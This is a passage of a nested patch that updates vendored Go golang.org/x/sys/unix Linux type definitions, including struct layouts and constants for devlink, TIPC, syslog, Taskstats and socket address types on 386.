-+ Rdevice uint64
-+ Offset uint64
-+ Sizelimit uint64
-+ Number uint32
-+ Encrypt_type uint32
-+ Encrypt_key_size uint32
-+ Flags uint32
-+ File_name [64]uint8
-+ Crypt_name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+}
-+
-+type TIPCSocketAddr struct {
-+ Ref uint32
-+ Node uint32
-+}
-+
-+type TIPCServiceRange struct {
-+ Type uint32
-+ Lower uint32
-+ Upper uint32
-+}
-+
-+type TIPCServiceName struct {
-+ Type uint32
-+ Instance uint32
-+ Domain uint32
-+}
-+
-+type TIPCEvent struct {
-+ Event uint32
-+ Lower uint32
-+ Upper uint32
-+ Port TIPCSocketAddr
-+ S TIPCSubscr
-+}
-+
-+type TIPCGroupReq struct {
-+ Type uint32
-+ Instance uint32
-+ Scope uint32
-+ Flags uint32
-+}
-+
-+const (
-+ TIPC_CLUSTER_SCOPE = 0x2
-+ TIPC_NODE_SCOPE = 0x3
-+)
-+
-+const (
-+ SYSLOG_ACTION_CLOSE = 0
-+ SYSLOG_ACTION_OPEN = 1
-+ SYSLOG_ACTION_READ = 2
-+ SYSLOG_ACTION_READ_ALL = 3
-+ SYSLOG_ACTION_READ_CLEAR = 4
-+ SYSLOG_ACTION_CLEAR = 5
-+ SYSLOG_ACTION_CONSOLE_OFF = 6
-+ SYSLOG_ACTION_CONSOLE_ON = 7
-+ SYSLOG_ACTION_CONSOLE_LEVEL = 8
-+ SYSLOG_ACTION_SIZE_UNREAD = 9
-+ SYSLOG_ACTION_SIZE_BUFFER = 10
-+)
-+
-+const (
-+ DEVLINK_CMD_UNSPEC = 0x0
-+ DEVLINK_CMD_GET = 0x1
-+ DEVLINK_CMD_SET = 0x2
-+ DEVLINK_CMD_NEW = 0x3
-+ DEVLINK_CMD_DEL = 0x4
-+ DEVLINK_CMD_PORT_GET = 0x5
-+ DEVLINK_CMD_PORT_SET = 0x6
-+ DEVLINK_CMD_PORT_NEW = 0x7
-+ DEVLINK_CMD_PORT_DEL = 0x8
-+ DEVLINK_CMD_PORT_SPLIT = 0x9
-+ DEVLINK_CMD_PORT_UNSPLIT = 0xa
-+ DEVLINK_CMD_SB_GET = 0xb
-+ DEVLINK_CMD_SB_SET = 0xc
-+ DEVLINK_CMD_SB_NEW = 0xd
-+ DEVLINK_CMD_SB_DEL = 0xe
-+ DEVLINK_CMD_SB_POOL_GET = 0xf
-+ DEVLINK_CMD_SB_POOL_SET = 0x10
-+ DEVLINK_CMD_SB_POOL_NEW = 0x11
-+ DEVLINK_CMD_SB_POOL_DEL = 0x12
-+ DEVLINK_CMD_SB_PORT_POOL_GET = 0x13
-+ DEVLINK_CMD_SB_PORT_POOL_SET = 0x14
-+ DEVLINK_CMD_SB_PORT_POOL_NEW = 0x15
-+ DEVLINK_CMD_SB_PORT_POOL_DEL = 0x16
-+ DEVLINK_CMD_SB_TC_POOL_BIND_GET = 0x17
-+ DEVLINK_CMD_SB_TC_POOL_BIND_SET = 0x18
-+ DEVLINK_CMD_SB_TC_POOL_BIND_NEW = 0x19
-+ DEVLINK_CMD_SB_TC_POOL_BIND_DEL = 0x1a
-+ DEVLINK_CMD_SB_OCC_SNAPSHOT = 0x1b
-+ DEVLINK_CMD_SB_OCC_MAX_CLEAR = 0x1c
-+ DEVLINK_CMD_ESWITCH_GET = 0x1d
-+ DEVLINK_CMD_ESWITCH_SET = 0x1e
-+ DEVLINK_CMD_DPIPE_TABLE_GET = 0x1f
-+ DEVLINK_CMD_DPIPE_ENTRIES_GET = 0x20
-+ DEVLINK_CMD_DPIPE_HEADERS_GET = 0x21
-+ DEVLINK_CMD_DPIPE_TABLE_COUNTERS_SET = 0x22
-+ DEVLINK_CMD_MAX = 0x44
-+ DEVLINK_PORT_TYPE_NOTSET = 0x0
-+ DEVLINK_PORT_TYPE_AUTO = 0x1
-+ DEVLINK_PORT_TYPE_ETH = 0x2
-+ DEVLINK_PORT_TYPE_IB = 0x3
-+ DEVLINK_SB_POOL_TYPE_INGRESS = 0x0
-+ DEVLINK_SB_POOL_TYPE_EGRESS = 0x1
-+ DEVLINK_SB_THRESHOLD_TYPE_STATIC = 0x0
-+ DEVLINK_SB_THRESHOLD_TYPE_DYNAMIC = 0x1
-+ DEVLINK_ESWITCH_MODE_LEGACY = 0x0
-+ DEVLINK_ESWITCH_MODE_SWITCHDEV = 0x1
-+ DEVLINK_ESWITCH_INLINE_MODE_NONE = 0x0
-+ DEVLINK_ESWITCH_INLINE_MODE_LINK = 0x1
-+ DEVLINK_ESWITCH_INLINE_MODE_NETWORK = 0x2
-+ DEVLINK_ESWITCH_INLINE_MODE_TRANSPORT = 0x3
-+ DEVLINK_ESWITCH_ENCAP_MODE_NONE = 0x0
-+ DEVLINK_ESWITCH_ENCAP_MODE_BASIC = 0x1
-+ DEVLINK_ATTR_UNSPEC = 0x0
-+ DEVLINK_ATTR_BUS_NAME = 0x1
-+ DEVLINK_ATTR_DEV_NAME = 0x2
-+ DEVLINK_ATTR_PORT_INDEX = 0x3
-+ DEVLINK_ATTR_PORT_TYPE = 0x4
-+ DEVLINK_ATTR_PORT_DESIRED_TYPE = 0x5
-+ DEVLINK_ATTR_PORT_NETDEV_IFINDEX = 0x6
-+ DEVLINK_ATTR_PORT_NETDEV_NAME = 0x7
-+ DEVLINK_ATTR_PORT_IBDEV_NAME = 0x8
-+ DEVLINK_ATTR_PORT_SPLIT_COUNT = 0x9
-+ DEVLINK_ATTR_PORT_SPLIT_GROUP = 0xa
-+ DEVLINK_ATTR_SB_INDEX = 0xb
-+ DEVLINK_ATTR_SB_SIZE = 0xc
-+ DEVLINK_ATTR_SB_INGRESS_POOL_COUNT = 0xd
-+ DEVLINK_ATTR_SB_EGRESS_POOL_COUNT = 0xe
-+ DEVLINK_ATTR_SB_INGRESS_TC_COUNT = 0xf
-+ DEVLINK_ATTR_SB_EGRESS_TC_COUNT = 0x10
-+ DEVLINK_ATTR_SB_POOL_INDEX = 0x11
-+ DEVLINK_ATTR_SB_POOL_TYPE = 0x12
-+ DEVLINK_ATTR_SB_POOL_SIZE = 0x13
-+ DEVLINK_ATTR_SB_POOL_THRESHOLD_TYPE = 0x14
-+ DEVLINK_ATTR_SB_THRESHOLD = 0x15
-+ DEVLINK_ATTR_SB_TC_INDEX = 0x16
-+ DEVLINK_ATTR_SB_OCC_CUR = 0x17
-+ DEVLINK_ATTR_SB_OCC_MAX = 0x18
-+ DEVLINK_ATTR_ESWITCH_MODE = 0x19
-+ DEVLINK_ATTR_ESWITCH_INLINE_MODE = 0x1a
-+ DEVLINK_ATTR_DPIPE_TABLES = 0x1b
-+ DEVLINK_ATTR_DPIPE_TABLE = 0x1c
-+ DEVLINK_ATTR_DPIPE_TABLE_NAME = 0x1d
-+ DEVLINK_ATTR_DPIPE_TABLE_SIZE = 0x1e
-+ DEVLINK_ATTR_DPIPE_TABLE_MATCHES = 0x1f
-+ DEVLINK_ATTR_DPIPE_TABLE_ACTIONS = 0x20
-+ DEVLINK_ATTR_DPIPE_TABLE_COUNTERS_ENABLED = 0x21
-+ DEVLINK_ATTR_DPIPE_ENTRIES = 0x22
-+ DEVLINK_ATTR_DPIPE_ENTRY = 0x23
-+ DEVLINK_ATTR_DPIPE_ENTRY_INDEX = 0x24
-+ DEVLINK_ATTR_DPIPE_ENTRY_MATCH_VALUES = 0x25
-+ DEVLINK_ATTR_DPIPE_ENTRY_ACTION_VALUES = 0x26
-+ DEVLINK_ATTR_DPIPE_ENTRY_COUNTER = 0x27
-+ DEVLINK_ATTR_DPIPE_MATCH = 0x28
-+ DEVLINK_ATTR_DPIPE_MATCH_VALUE = 0x29
-+ DEVLINK_ATTR_DPIPE_MATCH_TYPE = 0x2a
-+ DEVLINK_ATTR_DPIPE_ACTION = 0x2b
-+ DEVLINK_ATTR_DPIPE_ACTION_VALUE = 0x2c
-+ DEVLINK_ATTR_DPIPE_ACTION_TYPE = 0x2d
-+ DEVLINK_ATTR_DPIPE_VALUE = 0x2e
-+ DEVLINK_ATTR_DPIPE_VALUE_MASK = 0x2f
-+ DEVLINK_ATTR_DPIPE_VALUE_MAPPING = 0x30
-+ DEVLINK_ATTR_DPIPE_HEADERS = 0x31
-+ DEVLINK_ATTR_DPIPE_HEADER = 0x32
-+ DEVLINK_ATTR_DPIPE_HEADER_NAME = 0x33
-+ DEVLINK_ATTR_DPIPE_HEADER_ID = 0x34
-+ DEVLINK_ATTR_DPIPE_HEADER_FIELDS = 0x35
-+ DEVLINK_ATTR_DPIPE_HEADER_GLOBAL = 0x36
-+ DEVLINK_ATTR_DPIPE_HEADER_INDEX = 0x37
-+ DEVLINK_ATTR_DPIPE_FIELD = 0x38
-+ DEVLINK_ATTR_DPIPE_FIELD_NAME = 0x39
-+ DEVLINK_ATTR_DPIPE_FIELD_ID = 0x3a
-+ DEVLINK_ATTR_DPIPE_FIELD_BITWIDTH = 0x3b
-+ DEVLINK_ATTR_DPIPE_FIELD_MAPPING_TYPE = 0x3c
-+ DEVLINK_ATTR_PAD = 0x3d
-+ DEVLINK_ATTR_ESWITCH_ENCAP_MODE = 0x3e
-+ DEVLINK_ATTR_MAX = 0x8c
-+ DEVLINK_DPIPE_FIELD_MAPPING_TYPE_NONE = 0x0
-+ DEVLINK_DPIPE_FIELD_MAPPING_TYPE_IFINDEX = 0x1
-+ DEVLINK_DPIPE_MATCH_TYPE_FIELD_EXACT = 0x0
-+ DEVLINK_DPIPE_ACTION_TYPE_FIELD_MODIFY = 0x0
-+ DEVLINK_DPIPE_FIELD_ETHERNET_DST_MAC = 0x0
-+ DEVLINK_DPIPE_FIELD_IPV4_DST_IP = 0x0
-+ DEVLINK_DPIPE_FIELD_IPV6_DST_IP = 0x0
-+ DEVLINK_DPIPE_HEADER_ETHERNET = 0x0
-+ DEVLINK_DPIPE_HEADER_IPV4 = 0x1
-+ DEVLINK_DPIPE_HEADER_IPV6 = 0x2
-+)
-+
-+type FsverityDigest struct {
-+ Algorithm uint16
-+ Size uint16
-+}
-+
-+type FsverityEnableArg struct {
-+ Version uint32
-+ Hash_algorithm uint32
-+ Block_size uint32
-+ Salt_size uint32
-+ Salt_ptr uint64
-+ Sig_size uint32
-+ _ uint32
-+ Sig_ptr uint64
-+ _ [11]uint64
-+}
-+
-+type Nhmsg struct {
-+ Family uint8
-+ Scope uint8
-+ Protocol uint8
-+ Resvd uint8
-+ Flags uint32
-+}
-+
-+type NexthopGrp struct {
-+ Id uint32
-+ Weight uint8
-+ Resvd1 uint8
-+ Resvd2 uint16
-+}
-+
-+const (
-+ NHA_UNSPEC = 0x0
-+ NHA_ID = 0x1
-+ NHA_GROUP = 0x2
-+ NHA_GROUP_TYPE = 0x3
-+ NHA_BLACKHOLE = 0x4
-+ NHA_OIF = 0x5
-+ NHA_GATEWAY = 0x6
-+ NHA_ENCAP_TYPE = 0x7
-+ NHA_ENCAP = 0x8
-+ NHA_GROUPS = 0x9
-+ NHA_MASTER = 0xa
-+)
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go
-index 7b36896e..761b67c8 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,60 +81,32 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
-- Dev uint64
-- X__pad1 uint16
-- Pad_cgo_0 [2]byte
-- X__st_ino uint32
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- X__pad2 uint16
-- Pad_cgo_1 [2]byte
-- Size int64
-- Blksize int32
-- Blocks int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Ino uint64
--}
--
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int32
-- Frsize int32
-- Flags int32
-- Spare [4]int32
-+ Dev uint64
-+ _ uint16
-+ _ uint32
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint16
-+ Size int64
-+ Blksize int32
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Ino uint64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [1]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [1]byte
- }
-
- type Flock_t struct {
-@@ -152,101 +117,11 @@ type Flock_t struct {
- Pid int32
- }
-
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
--}
--
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -257,41 +132,11 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -308,277 +153,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Ebx int32
- Ecx int32
-@@ -617,16 +201,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]int8
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [8]int8
- }
-
- type Ustat_t struct {
-@@ -643,37 +218,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -686,20 +238,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -711,13 +255,13 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -741,55 +285,315 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]int8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Frsize int32
-+ Flags int32
-+ Spare [4]int32
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
- }
-
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
